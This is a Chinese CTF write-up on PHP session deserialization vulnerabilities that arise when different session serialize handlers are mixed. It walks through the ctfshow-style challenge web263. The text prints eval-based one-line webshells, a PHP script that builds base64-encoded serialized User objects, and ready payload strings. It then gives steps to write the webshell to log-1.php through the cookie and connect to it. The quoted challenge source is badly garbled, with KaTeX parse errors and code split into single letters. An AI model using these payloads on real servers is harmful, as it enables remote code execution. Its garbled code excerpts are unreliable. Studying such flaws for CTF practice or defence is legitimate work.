天天看點

PHPsession反序列化漏洞

帶你走進session

在學習 session 反序列化之前,我們需要了解這幾個參數的含義。

Directive 含義
session.save_handler session儲存形式。預設為files
session.save_path session儲存路徑。
session.serialize_handler session序列化存儲所用處理器。預設為php。
session.upload_progress.cleanup 一旦讀取了所有POST資料,立即清除進度資訊。預設開啟
session.upload_progress.enabled 将上傳檔案的進度資訊存在session中。預設開啟。

在php.ini中存在三項配置項:

session.save_path="" --設定session的存儲路徑

session.save_handler="" --設定使用者自定義存儲函數,如果想使用PHP内置會話存儲機制之外的可以使用本函數(資料庫等方式)

session.auto_start boolen --指定會話子產品是否在請求開始時啟動一個會話,預設為0不啟動

session.serialize_handler string --定義用來序列化/反序列化的處理器名字。預設使用php

在使用xampp元件安裝中,上述的配置項的設定如下:

session.save_path=“D:\xampp\tmp” 表明所有的session檔案都是存儲在xampp/tmp下

session.save_handler=files 表明session是以檔案的方式來進行存儲的

session.auto_start=0 表明預設不啟動session

session.serialize_handler=php 表明session的預設序列話引擎使用的是php序列話引擎

這些内容知道就可以了,那麼重要的是什麼呢?

session.serialize_handler是用來設定session的序列話引擎的,除了預設的PHP引擎之外,還存在其他引擎,不同的引擎所對應的session的存儲方式不相同。

有三種不同的session序列化處理器處理session

php_binary:存儲方式是,鍵名的長度對應的ASCII字元+鍵名+經過serialize()函數序列化處理的值

php:存儲方式是,鍵名+豎線+經過serialize()函數序列處理的值

php_serialize(php>5.5.4):存儲方式是,經過serialize()函數序列化處理的值

在PHP中預設使用的是PHP引擎

如果要修改為其他的引擎,隻需要添加代碼ini_set(‘session.serialize_handler’, ‘需要設定的引擎’);。

下面我們來執行個體一下這三種處理方式:

<?php ini_set('session.serialize_handler','php_serialize'); session_start(); $_SESSION['name']= ' <? php @eval($_POST[1]);?>';

var_dump( $_SESSION);

?>

第一種:在 php_serialize 引擎下,session檔案中存儲的資料為:

PHPsession反序列化漏洞

​a:1:{s:4:"name";s:27:" <? php @eval($_POST[1]);?>";}​

在本地session檔案自動生成

第二種也就是PHP預設處理方式

​name|s:27:" <? php @eval($_POST[1]);?>";​

是不是有什麼不一樣的,是不是有一個豎線,name為鍵值,name後的是要解析的字元串

第三種

​names:27:" <? php @eval($_POST[1]);?>";​

由于name的長度是4,4在ASCII表中對應的就是EOT。根據php_binary的存儲規則,最後就是names:6:“spoock”;。(突然發現ASCII的值為4的字元無法在網頁上面顯示,這個大家自行去查ASCII表吧)

PHP Session序列化危害

PHP中session中使用是沒有問題的,但是有什麼危害呢

​a:1:{s:4:"name";s:27:" <? php @eval($_POST[1]);?>";}​

​name|s:27:" <? php @eval($_POST[1]);?>";​

比較一下是不是有什麼差別,不知道大家有沒有嗅到陰謀的味道

如果PHP在反序列存儲的$_SESSION資料時的引擎和反序列引擎使用的引擎不一樣就會導緻資料無法正确反序列化。通過構造資料包,發包進行解析,就可以達到自己想要的想法。

比如模拟在其他頁面使用不同的php引擎來讀取時的内容如下:(預設使用php引擎讀取session檔案)

​$_SESSION='|O:1:"A":1:{s:1:"a";s:2:"ls";}'​

<?php #ini_set('session.serialize_handler','php_serialize'); session_start(); #$_SESSION['s']='|O:1:"A":1:{s:1:"a";s:2:"ls";}'; class A{ public $a='ls'; function __wakeup(){ echo $this->a; } } ?>

輸出結果

​xxls​

PHPsession反序列化漏洞
這是因為當使用php引擎的時候,php引擎會以|作為作為key和value的分隔符,那麼就會将 a:2:{s:4:“ryat”;s:30:" 作為SESSION的key,将 O:1:“A”:1:{s:1:“a”;s:2:“xx”;} 作為value,然後進行反序列化,最後就會得到A這個類。

怎麼講其實我也有點疑惑,但是我知道明白了Session利用的原理

也就是利用反序列化引擎,進行構造資料包,利用反序列化引擎解析特點構造漏洞,使後端解析時對資料包可以解析到自己想要注入的内容

還是做題看一下吧!!

web263

啥也沒有,沒有就對了,sql注入?想啥呢,弟弟,反序列化

掃描一下發現源碼洩露

PHPsession反序列化漏洞

打開後發現了三個php檔案,進行分析

在inc.php中

ini_set(‘session.serialize_handler’, ‘php’);,

看到這裡自然想到session反序列化,這裡把session的session.serialize_handler設定為php,那麼可能預設的php.ini裡面的不是php,大機率是php_serialize。既然session序列化存儲的引擎存在差異,就可以進行構造攻擊

然後需要判斷sessions是否可控,在Index中發現

S

E

S

I

O

N

[

l

i

m

t

]

=

b

a

s

e

6

4

d

c

o

d

(

_SESSION['limit']=base64_decode(

S​ESSION[′limit′]=base64d​ecode(_COOKIE[‘limit’]);

if(isset($_SESSION[‘limit’])){

t

i

>

5

?

"

)

:

_SESSION['limti']>5?die("登陸失敗次數超過限制"):

S​ESSION[′limti′]>5?die("登陸失敗次數超過限制"):_SESSION[‘limit’]=base64_decode($_COOKIE[‘limit’]);

C

K

e

n

_COOKIE['limit'] = base64_encode(base64_decode(

C​OOKIE[′limit′]=base64e​ncode(base64d​ecode(_COOKIE[‘limit’]) +1);

}else{

setcookie(“limit”,base64_encode(‘1’));

$_SESSION[‘limit’]= 1;

當我們通路index.php就會生成session,然後進行登入驗證,當limit<5即:

S​ESSION[′limit′]=base64d​ecode(_COOKIE[‘limit’])是可控的。既然可控現在需要找到一個寫入點

然後在inc.php找到​

​session_start​

​,發現一個User類中包含file_put_contents函數可以寫入

class User{

** public $username;**

** public $password;**

** public KaTeX parse error: Expected group after '_' at position 26: …** function _̲_construct(username,$password){//構造函數,主要是為參數指派**

** $this->username = $username;**

** $this->password = KaTeX parse error: Expected 'EOF', got '}' at position 19: …sword;** ** }̲** ** functi…s){**

**

h

u

this->status=

this−>status=s;**

** }**

** function __destruct(){//析構函數,銷毀一個類之前執行的一些操作或完成一些功能**

** file_put_contents(“log-”.

r

,

使

.

this->username, "使用".

this−>username,"使用".this->password.“登陸”.($this->status?“成功”:“失敗”)."----".date_create()->format(‘Y-m-d H:i:s’));**

** }//将字元串寫入檔案中**

既然檔案還有參數内容都是可控的那麼就可以構造一句話木馬,反序列化了

payload:

<?php class User{ public $username; public $password; public $status='a'; } $a=new User(); $a->username='b.php'; $a->password='<?php system("cat f*");?>';

echo base64_encode(’|’.serialize($a)); //因為對會對值base64解碼,是以需要加密

PHPsession反序列化漏洞

​fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiJiLnBocCI7czo4OiJwYXNzd29yZCI7czoyNToiPD9waHAgc3lzdGVtKCJjYXQgZioiKTs/PiI7czo2OiJzdGF0dXMiO3M6MToiYSI7fQ==​

接下來通路index.php開啟session會話,修改cookie[limit]為exp生成的字元串,再通路check.php寫入檔案,最後通路log-a.php

還有這種說法cookie就設定為上述腳本跑出來的值,并通路index.php,這樣session檔案中就寫入了我們需要的内容,這個内容在通路check.php時,因為包含了inc.php,inc.php中又改變了session引擎,進而反序列化出一個User類的執行個體,而這個執行個體在銷毀的時候調用了–destruct()方法,進而達成了寫shell的目的。

真tm坑死了,poc一直出bug,沒想到的是上傳的木馬還有檔案,檔案名必須要和一句話木馬的密匙一樣。。。無語了,一開始登陸失敗,真操蛋,啊啊啊啊啊終于好啦,我必須要寫仔細點,避免踩坑

playload:

<?php class User{ public $username; public $password; public $status='a'; } $a=new User(); $a->username='1.php'; $a->password='<?php eval($_POST[1]);phpinfo();?>';

echo base64_encode(’|’.serialize($a));

//base64加密是背景會對字元串進行base64解密

​fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czozNDoiPD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTs/PiI7czo2OiJzdGF0dXMiO3M6MToiYSI7fQ==​

先打開index.php

PHPsession反序列化漏洞

修改limit值,然後重新重新整理一下頁面,寫入成功

PHPsession反序列化漏洞

通路,check.php檔案

​check.php?u=123&pass=123​

PHPsession反序列化漏洞

進入log-1.php檔案

PHPsession反序列化漏洞

證明上傳成功了,然後一句話木馬連接配接就可以了

PHPsession反序列化漏洞